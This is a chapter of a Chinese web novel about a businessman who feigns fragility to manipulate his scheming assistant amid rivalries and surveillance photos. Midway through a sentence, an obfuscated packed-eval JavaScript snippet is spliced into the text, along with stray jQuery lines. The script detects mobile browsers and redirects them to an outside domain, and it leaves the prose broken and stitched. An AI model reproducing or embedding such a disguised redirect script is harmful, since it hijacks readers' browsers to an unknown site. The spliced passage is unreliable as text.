27. 第 27 章

作品:《绿茶演着就万人迷攻了

    “怎么,还不依不饶上了——算了,上次,你在凌渊面前帮我,配合我骗过他,”屈景烁回想起那夜自己对傅彬作出的承诺,该谢傅彬救自己是假,该谢他帮自己圆谎是真,手继续拆缎带,边道,“一言既出。我确实欠你一顿饭。”


    “时间地点您定?”


    “都你负责,我只负责一件事。”彻底拆开盒子,屈景烁在黑缎的垫料上看见两只微光粼粼的袖扣,成色更在当初凌渊毁去的那一双之上。


    屈景烁抬头对着后视镜里的傅彬嫣然一笑:


    “结账。”


    笑如此美,黑缎子上那对东西折射的光芒突然变得更加刺眼,傅彬的右手轻微抽搐着。


    “刚才,给老板送东西这位先生,有一些面熟。”


    “面熟?”屈景烁拿起袖扣,显然心思更在这对精致之物上。


    傅彬露出思索的神情,片刻后道:“我见过他跟凌先生在一起。”


    袖扣从屈景烁手中掉落。


    “什么?”


    看见屈景烁终于把注意力放在了自己身上,一副有点慌乱紧张的模样,傅彬觉得右手痛楚顿少许多。


    他语速不缓不疾地补充:


    “姿态还颇为亲近,像是朋友。”


    “凌渊他一个普通的小明星,怎么能跟这样的大人物是朋友,”屈景烁更显不安,竟是伸手,抓住傅彬的肩膀,礼盒落在地上,“傅彬,你帮我,帮我查查凌渊。”


    “大人物?刚才那位先生?”傅彬肩膀被屈景烁的手指抓紧,纤长的手指隔着两层布料陷进肌肉。


    傅彬差点要叹息出声。


    他想那只手再抓紧点。


    他看着屈景烁重变得空落落的膝盖,只觉手再无疼痛。


    屈景烁担忧之下压根没听见傅彬的问话,自顾自地咬紧嘴唇:


    ”凌渊,他竟敢给我另攀高枝?难道想利用这个人来对付我?”


    “帮您查。”


    傅彬握住屈景烁因为慌张而冰凉的手:


    “还为老板准备了一份赔罪礼物。到时候一起给您。”


    坐落在城市文化交汇点与经济繁华区的“狮影”酒店,如同一个迷炫的童话。C国皇家酒店与本国顶级酒店的装潢风格在它这里被兼收并蓄,得出完美的结合。


    面对“狮影”充满异域风情的如宫殿般富丽的前庭与大堂,即便不是第一次来,屈景烁仍会稍稍放慢些脚步,从穿透暮光的彩色琉璃窗到彩绘立雕的石像,万花筒似的纯手工马赛克到天袂飞流是静如动的壁画。正看着,一道声音打断了他:


    “Julian问我们,音乐要国风一点的还是偏C国那边的?”


    屈景烁在傅彬的声音之下转头,却完全没能听进傅彬问了什么。


    前边刚刚一瞬间拐过去的背影,分明属于他新认的表叔。


    而在之后两步,正在跟陪同客人的专属管家交代着什么的家伙,不是说自己“仍在重病”的韩光晔,又是谁。


    屈景烁拉紧了傅彬的手。


    “怎么?”傅彬微微垂眸看着屈景烁苍白的侧脸。


    明亮的灯光射在他脸上,让他的肤质呈现出晶莹剔透的质感,脆弱、漂亮,而炫目得不可思议。


    大号琉璃娃娃似的人摇摇头,不说话,只是依靠着他。克制住把人摁紧进怀的念头,傅彬转向Julian笑道:“国风的吧。我忽然想听那首《虞美人》。”


    待他们在一双碧眼的Julian的引导下坐到独属于两人的私密空间时,屈景烁不但没有放开,反而抓傅彬抓得更紧:


    “我刚刚看见了司先生跟光晔。傅彬,你答应帮我查的事,查到了吗?”


    乐声流淌。


    餐桌上的饮食一动未动。


    屈景烁神色恍惚地坐在散落的照片后。


    傅彬以享受美食的眼神看他,心里却嫌弃地点评:“一遇到凌渊就失智的蠢货。”


    上次要动他自己的马,是蠢。


    这次看见这些连公共场合监控都不避开的照片,就变成这失魂模样,更是蠢。


    不过他要的就是他失魂落魄,甚至这个程度还远远不够。


    “另一件也有结果了,”傅彬拿出另一份炸药——能更加炸散对方魂魄的炸药推向目标,“上一次、还有这次,一直想方设法阻碍我们项目推进的不是别人,正是您的合作伙伴。”


    屈景烁抬头看他,目光近似哀求。


    “光晔……”


    傅彬目不转睛地看他。傅彬是对“快乐”这字眼陌生的人,然而在这一秒,又一次在同一个人身上,体会到灵魂将从天灵盖飘出的酸麻:


    “请您自己看。”


    屈景烁一只手抬起,遮住了双眼。


    “怪我那回因为你们的关系,没有足够警惕,才让他有可趁之机。”傅彬简直想攥住对面男人柔软的黑发,拽下他的手逼他低头看文件。


    那双本就楚楚可怜的眼睛,在看尽了爱慕之人和合作伙伴的背叛后,会不会流下真切的泪水。


    就像那天晚上宣泄的时候一样。


    一样地美。


    “你恨我吧。”


    屈景烁迟缓地摇头,过了半晌,抬起湿红的眼睛,“我不会,”他含泪看傅彬,“我只有你了。”


    傅彬的心在腔子里狠狠连撞。


    面上撑住平和与冷静,他坐到屈景烁身边,轻声安慰:“凌渊应该还没有背叛您。这些照片并没有哪一张拍到他们真正亲密。而除了这些监控,我并没能查到更多东西。”


    “你以为是在C国吗,Felix,查不到才是正常的,在这里,做主的可不是你们。”


    屈景烁靠在傅彬怀中,下唇咬出红艳血色,声音沙哑脆弱,带着幽幽的潮气:


    “也正因为查不到,这种刻意的抹除和掩盖才更有问题,而且,最近我每次找凌渊,他都说他忙。”


    “那他忙得可真好。”暗自想着,傅彬不动声色。


    回忆起凌渊当初握伤他手的嚣张,他倏然收紧手臂,在心里:


    “他要不忙,你还不能这么快在我怀里。”


    截断畅快情绪,傅彬目光落在屈景烁染红的唇上,双眉一拧。


    手撬开屈景烁的牙齿,他把人稍扶起一点,让自己的双臂恰好能从两侧伸出,端起一份蛋糕,直喂到屈景烁唇边:


    “先吃点东西,等会我想办法要到大堂的监控。”


    屈景烁一副食不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450609|169482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甘味的模样,木然地含住勺子。


    然而乖乖咽下不说,屈景烁再次张嘴,像是猫在等自动喂食机器的投递。傅彬从侧面看着他,只觉得现在只剩自己可以依靠、可以注视的这个男人怎么瞧怎么可爱,简直让人想如吞蛋糕一样吞进腹中。


    傅彬又给屈景烁喂了一勺。


    屈景烁咽下后问:“可以要监控?不会说不能泄露顾客隐私?”


    “包厢没有监控。大堂应该可以。交给我,老板。”


    监控给了最后一击。


    屈景烁看着投影里,司野跟韩光晔之间明显算得上友好的氛围,看着看着,眼里的泪意消失,白里透粉的腮绷出锋利的线条。


    他恶狠狠地、咬牙切齿地:“他们是不是要联合起来对付我了?韩光晔我都应付不来,更何况是司家。”


    傅彬只见下一秒,旁边的男人顶着一张祸害众生的脸转向他,骂:“凌渊这个祸害!”


    实在没忍住咳嗽了一声,傅彬揽过委屈又炸毛的自家老板:“他害您到这地步,您还要喜欢他吗?”


    屈景烁一声不吭,半天才闷闷道:“我喜欢也没用了。”他的声音又带了哭腔:“我在他们面前算个什么啊,傅彬,你说,我是不是,很快,就要什么都没有了?”


    “不会的。”傅彬抱紧怀里的人,抚着他的背部。


    鼻子里是爽冽干净的味道,让人想起春初的溪水,有点清冷,却越闻越有初初绽开的花叶之香。


    在这香气里,傅彬把屈景烁按进阔大的沙发,把面孔藏在对方看不见的肩头:


    “我会帮你,就算真对付不了这么多人,我可以带你出国。”


    “去哪?”


    “傅家。”


    傅彬把吃饱喝足,宣泄够了屈景烁抱到床上,岂料刚一放下,睡中的人发出无助的哀鸣。


    “不……别打我……”


    傅彬才想起来今天还没给他喂“山楂红枣汤”。


    几分钟,傅彬端着一杯红糖水似的东西快步进来扶起屈景烁。汤水喂完,空杯往床头随手一放,傅彬抱住仍还皱着眉的人。


    饰着蝴蝶标本的镜面,两双乌黑浓长的睫毛如羽扇般打开。


    狐狸似的狡黠和冰凉一闪。


    屈景烁闭上眼,在仍作为背景音乐流淌的《虞美人》里,听见了滋味更美的系统提示音。


    真没想到,还没来得及多拿凌渊做做文章,傅彬就自己送上门来,说要帮他对付他们共同的情敌,韩光晔。


    自己明明,才刚走了样本里的“示弱”而已,才刚刚让傅彬觉得自己比韩光晔威胁更小而已。


    不是很聪明吗。


    怎么这么好搞定呢。


    屈景烁想着傅彬方才没忍住的微表情,蝶翼间红唇无声地张合:


    谁是蠢货。


    确实忙得晕头转向的凌渊刚下飞机,正拿着沈绛和屈景烁的合影火冒三丈之时,一个电话打了过来。


    凌渊接起:“屈总——”


    “知道你又要说在忙,别急,这次先让我把话说完。”清了清嗓子,那边再开口,竟带着坏蛋一朝得志、准备欺男霸女似的猖獗:


    “知不知道我在你哥身上做了什么手脚?”